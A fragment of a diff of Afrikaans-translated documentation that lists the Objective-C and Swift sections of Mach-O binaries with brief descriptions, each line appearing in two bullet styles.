* `__objc_classname`: Klasname (strings)
* `__objc_methname`: Metode name (strings)
* `__objc_methtype`: Metode tipes (strings)
- `__objc_classname`: Klasname (strings)
- `__objc_methname`: Metode name (strings)
- `__objc_methtype`: Metode tipes (strings)
In `__DATA` segment (rw-):
In die `__DATA` segment (rw-):
* `__objc_classlist`: Aanwysers na alle Objective-C klasse
* `__objc_nlclslist`: Aanwysers na Nie-Luie Objective-C klasse
* `__objc_catlist`: Aanwyser na Kategorieë
* `__objc_nlcatlist`: Aanwyser na Nie-Luie Kategorieë
* `__objc_protolist`: Protokolle lys
* `__objc_const`: Konstante data
* `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
- `__objc_classlist`: Aanwysers na alle Objective-C klasse
- `__objc_nlclslist`: Aanwysers na Nie-Luie Objective-C klasse
- `__objc_catlist`: Aanwyser na Kategorieë
- `__objc_nlcatlist`: Aanwyser na Nie-Luie Kategorieë
- `__objc_protolist`: Protokolle lys
- `__objc_const`: Konstante data
- `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
## Swift
* `_swift_typeref`, `_swift3_capture`, `_swift3_assocty`, `_swift3_types, _swift3_proto`, `_swift3_fieldmd`, `_swift3_builtin`, `_swift3_reflstr`
- `_swift_typeref`, `_swift3_capture`, `_swift3_assocty`, `_swift3_types, _swift3_proto`, `_swift3_fieldmd`, `_swift3_builtin`, `_swift3_reflstr`

Some files were not shown because too many files have changed in this diff Show more